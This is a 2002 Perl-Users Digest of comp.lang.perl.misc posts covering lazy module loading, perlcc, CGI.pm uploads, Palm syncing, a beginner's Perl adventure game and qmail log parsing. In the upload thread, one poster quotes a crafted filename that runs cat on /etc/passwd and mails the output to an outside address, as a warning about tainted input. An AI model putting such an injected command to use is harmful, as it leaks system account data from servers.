[22100] in Perl-Users-Digest
Perl-Users Digest, Issue: 4322 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Mon Dec 30 00:05:46 2002
Date: Sun, 29 Dec 2002 21:05:06 -0800 (PST)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Sun, 29 Dec 2002 Volume: 10 Number: 4322
Today's topics:
Re: "use autouse" question (was Re: Not loading unneede <goldbb2@earthlink.net>
Audio power from wav file <benoit.provost@attbi.com>
Re: C Backend <goldbb2@earthlink.net>
Re: C Backend (Jeff Mott)
Re: Free Program <varat@ix.netcom.com>
Re: IE uploads result in zero length files using CGI.pm <goldbb2@earthlink.net>
Re: Palm::Datebook generated events disappearing! <ethan@tabrel.localdomain>
Re: Palm::Datebook generated events disappearing! <usenet@ethanbrown.org>
Perl & "+" signs <oli@NOSPAMoliwoods.co.uk>
Re: Perl & "+" signs <bongie@gmx.net>
Re: Perl & "+" signs <oli@NOSPAMoliwoods.co.uk>
Re: Perl & "+" signs <bongie@gmx.net>
Perl Game <varat@ix.netcom.com>
Re: Processing \0xx in nonliteral strings <ahamm@mail.com>
Re: while and eof <news@roth.lu>
Re: while and eof <goldbb2@earthlink.net>
Re: while and eof (Tad McClellan)
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Sun, 29 Dec 2002 16:20:45 -0500
From: Benjamin Goldberg <goldbb2@earthlink.net>
Subject: Re: "use autouse" question (was Re: Not loading unneeded modules with use strict?)
Message-Id: <3E0F672D.1B80A591@earthlink.net>
Tim Shoppa wrote:
> Benjamin Goldberg wrote:
> > The third way is the autouse module:
> > use autouse GD => qw(subname1 subname2 subname3);
> > use autouse PDF::API2 => qw(subname4 subname5 subname6);
> >
> > With this, you don't have to make *any* changes to the rest of your
> > code -- you don't even have to make ->new load up one of the two
> > modules via require and perform an import, as autouse will do that
> > automatically.
Hmm.... actually, looking over the docs, this is untrue -- autouse
doesn't work like that. It's only for imported functions, not for
methods. (and PackName->new is a package method).
> Thanks, "use autouse" looks very tempting. One question, though:
> Both GD and PDF::API2 have a "new" method. When I say
>
> use autouse GD::Image => qw(new);
> use autouse PDF::API2 => qw(new);
>
> it seems that the only "new" I can access is the PDF::API2 one, and
> when I explicitly try a "GD::Image->new" or a "PDF::API2->new" I get a
>
> Can't locate object method "new" via package "GD::Image" (perhaps
> you forgot to load "GD::Image"?) at Unigraph.pm line 7.
>
> I'm assuming that my only problem here is syntax (e.g. "how do I
> distinguish between the two autoused "new"'s) but maybe the disconnect
> is more fundamental. I looked at the online docs for "use autouse" as
> well as in the Perl Cookbook but they're really very vague about how I
> can use them to abstract two classes with identical method names into
> one "universal" class, like I want.
I hadn't really thought about your problem enough when I first tried to
answer your problem. Assuming that everything for using GD::Image and
PDF::API2 is object oriented, then a better solution would probably be
something like:
for my $pack (qw(GD::Image PDF::API2)) {
(my $file = $pack.".pm") =~ s,::,/,g;
next if $INC{ $file };
my $glob = do { no strict 'refs'; \*{$pack."::new"} };
*$glob = sub {
undef &$glob;
require $file;
goto &{$pack->can("new") or die "$pack can't ->new"};
};
}
If you stick this up top, then GD::Image->new and PDF::API2->new will
automatically load up GD::Image and PDF::API2.
--
$..='(?:(?{local$^C=$^C|'.(1<<$_).'})|)'for+a..4;
$..='(?{print+substr"\n !,$^C,1 if $^C<26})(?!)';
$.=~s'!'haktrsreltanPJ,r coeueh"';BEGIN{${"\cH"}
|=(1<<21)}""=~$.;qw(Just another Perl hacker,\n);
------------------------------
Date: Sun, 29 Dec 2002 23:16:47 GMT
From: "benoit.provost" <benoit.provost@attbi.com>
Subject: Audio power from wav file
Message-Id: <znLP9.354261$pN3.31327@sccrnsc03>
Hi,
I am new in Perl, so maybe my question will sound silly...
I would like to know if there is an easy way to extract the audio power
(sound envelope) from a audio file (like a wav or an mp3). My goal is to
read an audio file and generate an array describing the envelope, kind of
like the led bargraph on a tape recorder or a power amp.
Thanks!
Benoit
--
--------------------------------------------------------------
| Benoit Provost
| benoit.provost@attbi.com
| http://home.attbi.com/~benoit.provost
------------------------------
Date: Sun, 29 Dec 2002 16:38:42 -0500
From: Benjamin Goldberg <goldbb2@earthlink.net>
Subject: Re: C Backend
Message-Id: <3E0F6B62.9867B74D@earthlink.net>
Jeff Mott wrote:
> Benjamin Goldberg wrote:
> > Jeff Mott wrote:
> > [snip]
> > > 912: no such instruction ""
> > > There were 912 assembly errors
> > > CHECK failed--call queue aborted.
> > >
> > > I realize it's experimental, but does it work at all? Is there
> > > something vital I'm missing?
> >
> > The vital thing that you're missing is that it was "experimental" in
> > perl 5.005_03, and hasn't been updated since then.
> > > I realize it's experimental, but...
>
> I'm not sure how you can interpret this to think I didn't already know
> that.
>
> > If there's even one new opcode which your program uses but which
> > didn't exist in that version of perl, it's going to cause perlcc to
> > fail.
>
> The script I was testing this with had only one line:
>
> print 'Hello World!';
>
> Nothing even remotely new there.
How do you know that the 'print' operator in your current version of
perl gets compiled to the same numeric opcode as it did back in 5.5.30?
--
$..='(?:(?{local$^C=$^C|'.(1<<$_).'})|)'for+a..4;
$..='(?{print+substr"\n !,$^C,1 if $^C<26})(?!)';
$.=~s'!'haktrsreltanPJ,r coeueh"';BEGIN{${"\cH"}
|=(1<<21)}""=~$.;qw(Just another Perl hacker,\n);
------------------------------
Date: 29 Dec 2002 20:20:34 -0800
From: jeffmott@twcny.rr.com (Jeff Mott)
Subject: Re: C Backend
Message-Id: <f9c0ce19.0212292020.570acae8@posting.google.com>
> How do you know that the 'print' operator in your current version of
> perl gets compiled to the same numeric opcode as it did back in 5.5.30?
It's not a problem that it compiles into the wrong instructions, it's
a problem that it doesn't compile at all.
But, experimental or not, it must have been functional, at least in
part, to have ever been released. And I'm just trying to figure out
why I can't get this to work at all. If you know how to get it
working, please let me know. If you just feel like restating the
problem again, feel free to keep it to yourself.
------------------------------
Date: Sun, 29 Dec 2002 20:34:02 -0700
From: Zarathustra <varat@ix.netcom.com>
Subject: Re: Free Program
Message-Id: <3E0FBEAA.4000500@ix.netcom.com>
OK, sounds good, I will have to learn how to use hashes. I tried to
write a global Var but I get errors.
local @equ=(
["Head", " " ],
["Body", " " ],
["Left Hand", " " ],
["Right Hand", " " ],
);
Rod wrote:
> How about a global hash that keeps track of the inventory. And a simple
> routine that adds, removes, uses based upon a data map.
> ie based upon a simple data map.
> #item type description use_on
> 1 1 "Sword" [1,12,13,16..35]
> 2 1 "FlameThrower" [12,13,16..35]
>
> Types
> #id Description
> 1 "Weapons"
> 2 "Potions"
> 3 "Maps"
>
> You can have a monsters map similar
> #id description hitpoints
> 1 "Dragon" 10
> 12 "Human" 5
>
> Where the map shows that Flamethrowers can be used against Humans etc. But
> not dragons.
>
> Humm. Looks alot like a relational database model........
>
>
------------------------------
Date: Sun, 29 Dec 2002 15:26:19 -0500
From: Benjamin Goldberg <goldbb2@earthlink.net>
Subject: Re: IE uploads result in zero length files using CGI.pm
Message-Id: <3E0F5A6B.7A1566F5@earthlink.net>
Chris Kolosiwsky wrote:
>
> On Sun, 29 Dec 2002 00:31:22 -0500, Benjamin Goldberg
> <goldbb2@earthlink.net> wrote:
>
> >Chris Kolosiwsky wrote:
> >[snip]
> >> my $uploadedfile = $q->upload('UploadedFile');
> >
> >At this point, $uploadedfile is a globref which has been blessed into
> >a class with an overloaded '""' operator.
> >
> >> $uploadedfile =~ s/.*[\/\\](.*)/$1/;
> >> # only grab the file after the last / in the pathname
> >
> >After doing this, $uploadedfile has been forced to be a string and
> >*only* a string. It is no longer a filehandle.
>
> Okay, but it hasn't been untainted, correct? If I'm to be accepting
> files on a public site using this script, I would need to take steps
> to insure that the filename itself is not a carefully crafted file
> name like \`cat /etc/passwd|mail someone@somewhere.com\`.
No, you don't have to take any such step.
File::Copy would not accidentally run such a thing as a command.
> How is it that you can both untaint the filename and still maintain
> its status as strictly a filehandle? In order to untaint the file you
> would have to do some sort of s/// on the filename, no?
You seem quite confused how $uploadedfile will be used.
If you use it as:
open( FH, $uploadedfile );
Then you need to untaint it.
If you merely want to do:
while( <$uploadedfile> ) { .... }
Or
copy( $uploadedfile, $somefilename );
then you don't need to untaint it.
> However if $uploadedfile is forced into a string, then is it a happy
> coincidence that the "while (<$uploadedfile>)" still works
If $uploadedfile is forced to a string, then while(<$uploadedfile>) WILL
NOT work. If you think that it does work, then you're mistaken.
> in a filehandle context when the file is actually copied to the
> relevant directory? I would think that this would not be the case,
> however, I'm not an expert on this.
>
> At any rate, as I said, this script does work with the other netscape
> based browsers (and IE for the Mac), so is it possible that something
> with IE for the PC is just not behaving in the correct (or broken)
> manner?
If a broken script happens to work with some browsers, then that's a
matter of mere luck.
--
$..='(?:(?{local$^C=$^C|'.(1<<$_).'})|)'for+a..4;
$..='(?{print+substr"\n !,$^C,1 if $^C<26})(?!)';
$.=~s'!'haktrsreltanPJ,r coeueh"';BEGIN{${"\cH"}
|=(1<<21)}""=~$.;qw(Just another Perl hacker,\n);
------------------------------
Date: 29 Dec 2002 12:46:34 -0800
From: Ethan Brown <ethan@tabrel.localdomain>
Subject: Re: Palm::Datebook generated events disappearing!
Message-Id: <m2bs341rkl.fsf@tabrel.localdomain>
Clearly I'm not setting something that I should be, because if I
modify the record in JPilot after I create it in my application, the
palm syncing works correctly.
Thanks,
--
--Ethan Brown
--Keyboards/The Fabulous Pelicans (www.pelicans.com)
--Author: WheresTheGig.com
--ethan@ethanbrown.org
------------------------------
Date: 29 Dec 2002 20:28:47 -0800
From: Ethan Brown <usenet@ethanbrown.org>
Subject: Re: Palm::Datebook generated events disappearing!
Message-Id: <m2n0mo1668.fsf@tabrel.localdomain>
>>>>> "Ethan" == Ethan Brown <ethan@tabrel.localdomain> writes:
Ethan> Clearly I'm not setting something that I should be, because if I
Ethan> modify the record in JPilot after I create it in my application, the
Ethan> palm syncing works correctly.
(Pretty sad, following up to myself...)
Further googling led me to find that JPilot uses keeps track of its
syncing using .pc files. I'm now using pilot-xfer to do the
DatebookDB.pdb syncing, but I'm seeing the same behavior as before.
After a sync the event is removed from the local copy of
DatebookDB.pdb and does not show up on the palm.
--
--Ethan Brown
--Keyboards/The Fabulous Pelicans (www.pelicans.com)
--Author: WheresTheGig.com
--ethan@ethanbrown.org
------------------------------
Date: Sun, 29 Dec 2002 21:50:07 +0000 (UTC)
From: "Oli" <oli@NOSPAMoliwoods.co.uk>
Subject: Perl & "+" signs
Message-Id: <aunqmf$hrp$1@helle.btinternet.com>
Hi,
Our perl script reads data from a *.dat file and whenever there is a space
in the dat file this is displayed as a + in the output HTML.
Anyone got any code, or a smart way, to stop this? IE, when there is a
space in the data in the file, I want a space displayed on screen!
Many thanks
Oli
------------------------------
Date: Sun, 29 Dec 2002 23:00:44 +0100
From: "Harald H.-J. Bongartz" <bongie@gmx.net>
Subject: Re: Perl & "+" signs
Message-Id: <1821691.2hn5lHUPJH@nyoga.dubu.de>
Oli wrote:
> Our perl script reads data from a *.dat file and whenever there is a
> space in the dat file this is displayed as a + in the output HTML.
Hard to guess without seeing any code. I might speculate that you're
using a function designed to escape entities for URIs with your
text. Just don't do that. Escaping HTML special chars will work
automagically if you use the CGI.pm module to generate contents.
Ciao,
Harald
--
Harald H.-J. Bongartz <bongie@gmx.net>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Interesting Error Messages #6:
USER ERROR: replace user and press any key to continue.
------------------------------
Date: Sun, 29 Dec 2002 22:17:54 +0000 (UTC)
From: "Oli" <oli@NOSPAMoliwoods.co.uk>
Subject: Re: Perl & "+" signs
Message-Id: <aunsai$qd8$1@knossos.btinternet.com>
Hi Harald,
Thanks for that.
Another worry is we have an HTML email being sent in the beackground of our
code and want to receive it as a web page. When we receive it all we see is
the HTML code in our instead of this being executed by Outlook Express.
Any ideas? OE is set up to receive HTML mail?
Many Thanks
Oli
"Harald H.-J. Bongartz" <bongie@gmx.net> wrote in message
news:1821691.2hn5lHUPJH@nyoga.dubu.de...
> Oli wrote:
> > Our perl script reads data from a *.dat file and whenever there is a
> > space in the dat file this is displayed as a + in the output HTML.
>
> Hard to guess without seeing any code. I might speculate that you're
> using a function designed to escape entities for URIs with your
> text. Just don't do that. Escaping HTML special chars will work
> automagically if you use the CGI.pm module to generate contents.
>
> Ciao,
> Harald
> --
> Harald H.-J. Bongartz <bongie@gmx.net>
> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
> Interesting Error Messages #6:
> USER ERROR: replace user and press any key to continue.
>
------------------------------
Date: Sun, 29 Dec 2002 23:40:22 +0100
From: "Harald H.-J. Bongartz" <bongie@gmx.net>
Subject: Re: Perl & "+" signs
Message-Id: <1151911.mmtkU0Unv3@nyoga.dubu.de>
Oli wrote:
> Thanks for that.
And that was the problem exactly? I was only guessing...
> Another worry is we have an HTML email being sent in the beackground
> of our
> code and want to receive it as a web page.
use MIME::Lite[1] with content-type text/html or MIME::Lite::HTML[2]
from CPAN.
And if you're not the only receiver, please keep in mind that not
everyone is pleased to receive HTML mails (or even able to read them).
> When we receive it all we
> see is the HTML code in our instead of this being executed by Outlook
> Express.
By "executing" I hope you mean "rendered". I would really mind a mail
message executing something on my computer...
> "Harald H.-J. Bongartz" <bongie@gmx.net> wrote in message
> news:1821691.2hn5lHUPJH@nyoga.dubu.de...
Please don't top-post.
Thank you.
Ciao,
Harald
[1] http://search.cpan.org/author/ERYQ/MIME-Lite-2.117/lib/MIME/Lite.pm
[2] http://search.cpan.org/author/ALIAN/MIME-Lite-HTML-1.15/HTML.pm
--
Harald H.-J. Bongartz <bongie@gmx.net>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
If love is blind, why is lingerie so popular?
------------------------------
Date: Sun, 29 Dec 2002 19:41:40 -0700
From: Zarathustra <varat@ix.netcom.com>
Subject: Perl Game
Message-Id: <3E0FB264.6090308@ix.netcom.com>
This is a multi-part message in MIME format.
--------------050901040003050205010802
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Here is my simple adventure game. I am still working on it. I got some
good advice on improvments. Hope to write them in soon.
--------------050901040003050205010802
Content-Type: text/plain;
name="SimpleRPG.pl"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="SimpleRPG.pl"
#! usr/bin/perl -w
Print" Simple Roll playing game by \n Joe Creaney joec@annuna.c0m";
use strict;
use integer;
my @maze=(
[ qw( e sew we ws )],
[ qw(ne new sw ns ) ],
[ qw( ns - ns wn ) ],
[ qw(ne w ne w )],
);
my %direction = (n=> [ -1, 0], s=> [1, 0], e => [0, 1], w => [0, -1]);
my %full=( e => 'East', n => 'North', w=>'West', s =>'South');
my($curr_x, $curr_y, $x, $y)=(0,0,3,3);
my $move;
my $num;
my $n;
my $c;
my @p=(" ",10,1,0,7,6);
my @m;
my $mhp = $p[1];
my @weapon;
my @armor;
sub disp_loc {
my($cx, $cy)=@_;
print "You may move ";
while($maze [$cx] [$cy]=~/([nsew])/g) {
print "$full{$1} ";
}
print "($maze[$cx][$cy])\n";
}
sub move_to {
my($new, $xref, $yref)=@_;
$new=substr(lc($new),0,1);
if ($maze[$$xref] [$$yref]!~/$new/) {
print "Can't go that way $new!\n";
return;
}
$$xref += $direction{$new}[0];
$$yref += $direction{$new}[1];
}
sub xps {
my ($hp, $lv, $xp, $mxp) = @_;
print "You got $mxp XP for the battle \n";
$xp = $xp + $mxp;
if ($xp > 100) {
$lv++;
$xp = $xp - 100;
($hp, $mhp) = nlv ($hp, $mxp);
}
return $hp, $lv, $xp;
}
sub nlv {
my ($hp, $mhp) = @_;
my $num;
$num = (int(rand(10))+1);
$hp = $hp + $num;
$mhp = $mhp + $num;
return $hp, $mhp;
}
sub atk {
my ($hd, $ac) = @_;
my $roll;
my $hit;
my $thaco;
$roll = int(rand(20))+1;
$thaco = 19 - $hd;
if ($roll > ($thaco - $ac)) {
$hit=1;
print "Hit! \n";
} else {
print "Missed... \n";
$hit=0;
}
return $hit;
}
sub fight {
my $ht;
my ($md, $pd) = @_;
print "$$pd[0] is Fighting a $$md[0] \n";
print "You have $$pd[1] HP, it has $$md[2] HP\n";
$ht = atk ($$pd[2], $$md[3]);
if ( $ht == 1 ) {
$$md[2] = $$md[2] - (int(rand($$pd[5]))+1);
}
print "Now the $$md[0] attacks \n";
$ht = atk ($$md[1], $$pd[2]);
if ( $ht == 1 ) {
$$pd[1] = $$pd[1] - (int(rand($$md[3]))+1);
}
return $$md[2], $$pd[1];
}
sub choosmon {
my $x;
my $v;
my $rm;
my $hp;
my @mm = ();
my @ml = (
[ "Orc",1,0,6,15 ],
[ "Gobblin",1,0,4,10 ],
[ "Hobgobblin",2,0,6,25 ],
[ "Skelliton",1,0,4,10 ],
[ "Dragon!",4,0,7,100 ],
[ "Wolf",2,0,3,20 ],
);
$rm = int(rand(6));
for ($x=0; $x <= 5; $x++) {
$mm[$x] = $ml[$rm][$x];
}
$v=$mm[1];
for ($x=0; $x <= $v; $x++ ) {
$hp = $hp + int(rand(6))+1;
}
print "You see a $mm[0] \n";
$mm[2] = $hp;
return @mm;
}
sub run {
my ($hp)=@_;
print "Running\n";
$hp++;
return $hp;
}
print "What is your name?";
$p[0]=<STDIN>; chomp $p[0];
until ( $curr_x == $x and $curr_y ==$y ) {
disp_loc($curr_x, $curr_y);
print "Which way? ";
$move=<STDIN>; chomp $move;
exit if ($move=~/^q/);
move_to($move, \$curr_x, \$curr_y);
$num = int(rand(4))+1;
print " $num";
if ($num == 1) {
@m = choosmon (@m);
CBT: while ( $p[1] > 0 ) {
if ( $p[1] > $mhp ) {
$p[1] = $mhp;
}
print "You have $p[1]/$mhp HP it has $m[2] \n";
print "Do you want to f ight, r un d ie: ";
$c=<STDIN>; chomp $c;
if ( $c eq "f" ) {
($m[2], $p[1]) = fight(\@m, \@p);
}
if ($c eq "r" ) {
$p[1] = run($p[1]);
}
if ( $c eq "l" ) {
($p[2], $mhp) = nlv ($p[2], $mhp);
}
if ( $m[2] <= 0 ) {
print "You killed the $m[0] \n";
($p[1], $p[2], $p[3]) = xps ($p[1], $p[2], $p[3], $m[4]);
last CBT;
}
if ( $c eq "d" ) {$p[1] = 0;
}
}
if ( $p[1] <= 0 ) {
print "You are dead";
die; }
}
}
print "You made it!\n";
--------------050901040003050205010802--
------------------------------
Date: Mon, 30 Dec 2002 10:59:44 +1100
From: "Andrew Hamm" <ahamm@mail.com>
Subject: Re: Processing \0xx in nonliteral strings
Message-Id: <auo2cf$8l82m$1@ID-79573.news.dfncis.de>
Moshe Jacobson wrote:
> Benjamin Goldberg had nothing better to do than to say:
>> I am posting a followup to my own message due to Andrew Hamm asking
>> for an explanation of my code.
>
> Well thank you Ben, that was almost painfully detailed, but I did
> learn some very neat things from it.
That's why explanations (even painful ones) are such good value.
Nice work B.
--
There's nowt wrong wi' owt what mitherin' clutterbucks don't barly grummit!
-
Replies directly to this message will go to an account that may not be
checked for a week or two. For more timely e-mail response, use (only
in an emergency) ahamm sanderson net au with all the usual punctuation.
------------------------------
Date: Mon, 30 Dec 2002 00:33:47 +0100
From: "J.M.Roth" <news@roth.lu>
Subject: Re: while and eof
Message-Id: <3e0f865c_2@news.vo.lu>
Thanks for the hints, here's the working script
You may clean it up if you like.... i haven't used perl for a very long time
yet so... ;-)
What did you mean by "localizing variables"? I've moved some into their
respective loops. But doesn't it take more processing time redeclaring them
over and over again than if I simply kept them global?
What I found out is that "while ($file = readdir(DIR))" doesn't sort the
contents. One will have to use for and sort.
Also, I removed eof. It wouldn't have been used for the FILEIN filehandle
but rather for the last file in the outer while loop ($file). (I would've
wanted to know when I'm at the end of all the logfiles, but this is now
handled differently as you can see ;)
Since that was only a directory listing and not filehandles I'm not sure if
it would've worked.
And I moved the last if $period_over into the else block. That way one could
save an iteration...
By the way, $no_data is new. I also needed to check if there was a log at
all for the period specified. If logdirs get cleaned up it might very well
be the case that the log dating 12 months ago isn't there anymore ;)
In case anyone wants to know, I'm gonna use the resulting files to run
qmailanalog and output usage/traffic statistics (and bills too ;-)
Thanks again
use strict;
use warnings;
#use diagnostics;
use Time::TAI64;
use Date::Calc qw(Delta_Days Days_in_Month);
($ARGV[0] && $ARGV[1]) || die("$!: Arguments needed: year month");
my %in;
$in{y}=shift;
$in{m}=shift;
my $qmaillogdir="/var/log/qmail/traffic";
my $outfile="$qmaillogdir/qmailsend-$in{y}-$in{m}.out";
my $file;
my $fc=0;
my $already_started=0;
my $period_over=0;
my @result;
print "Processing, please wait...\n";
opendir(DIR, $qmaillogdir);
foreach $file (sort readdir(DIR)) {
next unless ($file =~ /^\@/);
if ($file =~ /\@(40[0-9a-f]+)\.[su]/) {
my @ft = tai64nlocal($1);
if (Delta_Days($in{y},$in{m},1,$ft[0],$ft[1],$ft[2])>=0) {
my $no_data=0;
open(FILEIN, "$qmaillogdir/$file") || die("Can't
open file $qmaillogdir/$file for read: $!");
$fc++;
while(<FILEIN>) {
my @line = split(" ", $_);
@line = tai64nlocal(substr($line[0],1));
if ($line[0]==$in{y} && $line[1]==$in{m}) {
$already_started=1;
push @result, $_;
} elsif ($fc==1 && $.==1 &&
Delta_Days($in{y},$in{m},Days_in_Month($in{y},$in{m}),$line[0],$line[1],$lin
e[2])>0) {
$no_data=1;
last;
} else {
$period_over=1 if $already_started;
last if $period_over;
}
}
close FILEIN;
last if ($period_over || $no_data);
} else {
next;
}
}
}
closedir(DIR);
if ($period_over || $#result>0) {
open(FILEOUT, ">$outfile") || die("Can't open file $outfile for
write: $!");
print "OUT-File is: $outfile\n";
foreach (@result) {
print FILEOUT;
}
print "Done.\n";
close FILEOUT;
} else {
print "No data.\n";
}
------------------------------
Date: Sun, 29 Dec 2002 19:42:25 -0500
From: Benjamin Goldberg <goldbb2@earthlink.net>
Subject: Re: while and eof
Message-Id: <3E0F9671.1DA72071@earthlink.net>
J.M.Roth wrote:
[snip]
> use strict;
> use warnings;
> #use diagnostics;
>
> use Time::TAI64;
> use Date::Calc qw(Delta_Days Days_in_Month);
>
> ($ARGV[0] && $ARGV[1]) || die("$!: Arguments needed: year month");
I think you mean $0, not $!. And it's more common to write something
like:
@ARGV == 2 or die "Usage: $0 year month\n";
> my %in;
> $in{y}=shift;
> $in{m}=shift;
Why do you put these things in $im{y} and $im{m}? You never do anything
with them that's well served by being in a hash -- it would be as good,
or better, to write:
my ($year, $mon) = @ARGV;
> my $qmaillogdir="/var/log/qmail/traffic";
> my $outfile="$qmaillogdir/qmailsend-$in{y}-$in{m}.out";
> my $file;
Why declare $file here? It would be better to declare it in the foreach
loop that it's used.
> my $fc=0;
This isn't a very meaningful variable name. How about $filecount?
> my $already_started=0;
You could just use scalar(@result) anywhere that you use this.
> my $period_over=0;
Looking at how you use this, you'd be better off using a named block,
and a 'last LABEL' expression in the appropriate place.
.......
There are a number of places where you could avoid a level of
indentation by exiting (or next'ing) the loop, or the program, in the
shorter of the two blocks of an if(){}else{}, and reversing the
condition if necessary.
I would write this program as:
use strict;
use warnings;
use Time::TAI64;
use Date::Calc qw(Delta_Days);
@ARGV == 2 or die "Usage: $0 year month\n";
my ($year, $month) = @ARGV;
my $lastday = Date::Calc::Days_in_Month($year, $month);
my $qmaildir = "/var/log/qmail/traffic";
print "Changing directory to $qmaildir.\n";
chdir( $qmaildir )
or die "chdir failed: $!\n";
my $outfile = "qmailsend-$year-$month.out";
my @result;
my $is_first_file = 1;
DIRLOOP: foreach my $file ( do {
opendir my($dh), "."
or die "opendir('.') failed: $!\n";
sort readdir $dh;
} ) {
my ($tai_date) = $file =~ /^\@(40[0-9a-f]+)\.[su]/ or next;
my ($y, $m, $d) = tai64nlocal($tai_date);
next if Delta_Days( $year, $month, 1 => $y, $m, $d ) < 0;
open( my($fh), "<", $file )
or die "Error opening $file: $!";
while( my $line = <$fh> ) {
($tai_date) = $line =~ /\S(\S*)/ or die;
($y, $m, $d) = tai64nlocal($tai_date);
if( $y == $year and $m == $month ) {
push @result, $line;
} elseif( @result or $is_first_file and $. == 1 and
Delta_Days( $year, $month, $lastday, $y, $m, $d ) > 0 ) {
last DIRLOOP;
}
}
$is_first_file = 0;
}
if( !@result ) {
print "No data.\n";
exit;
}
open( my($ofh), ">", $outfile )
or die "Error opening $outfile: $!";
print "OUT-File is: $outfile\n";
print $ofh @result;
close $ofh;
print "Done.\n";
__END__
[untested]
--
$..='(?:(?{local$^C=$^C|'.(1<<$_).'})|)'for+a..4;
$..='(?{print+substr"\n !,$^C,1 if $^C<26})(?!)';
$.=~s'!'haktrsreltanPJ,r coeueh"';BEGIN{${"\cH"}
|=(1<<21)}""=~$.;qw(Just another Perl hacker,\n);
------------------------------
Date: Sun, 29 Dec 2002 19:06:43 -0600
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: while and eof
Message-Id: <slrnb0v713.2f8.tadmc@magna.augustmail.com>
J.M.Roth <news@roth.lu> wrote:
> What did you mean by "localizing variables"?
Controlling the scope of variables is a fundamental of
good computer science, whether programming in Perl or in any
other programming language.
See:
"Coping with Scoping":
http://perl.plover.com/FAQs/Namespaces.html
> But doesn't it take more processing time redeclaring them
> over and over again than if I simply kept them global?
But it will take even more time than that when they cause
errors that you'll then have to debug.
Trading off execution time for maintenance time is a poor
idea in the modern era.
Code for ease of maintenance.
> opendir(DIR, $qmaillogdir);
Just because you asked for directory to be opened does not
meant that you got what you asked for. Check the return
value to be sure:
opendir(DIR, $qmaillogdir) or die "could not open '$qmaillogdir' $!";
> if ($period_over || $#result>0) {
^^^^^^^^^^
So if @result has 1 element in it, then you *don't* want
to do this processing?
If you were trying to see if @result contains any elements,
then you failed :-)
if ($period_over or @result > 0) {
> foreach (@result) {
> print FILEOUT;
> }
You don't need a loop:
print FILEOUT @result;
--
Tad McClellan SGML consulting
tadmc@augustmail.com Perl programming
Fort Worth, Texas
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 4322
***************************************
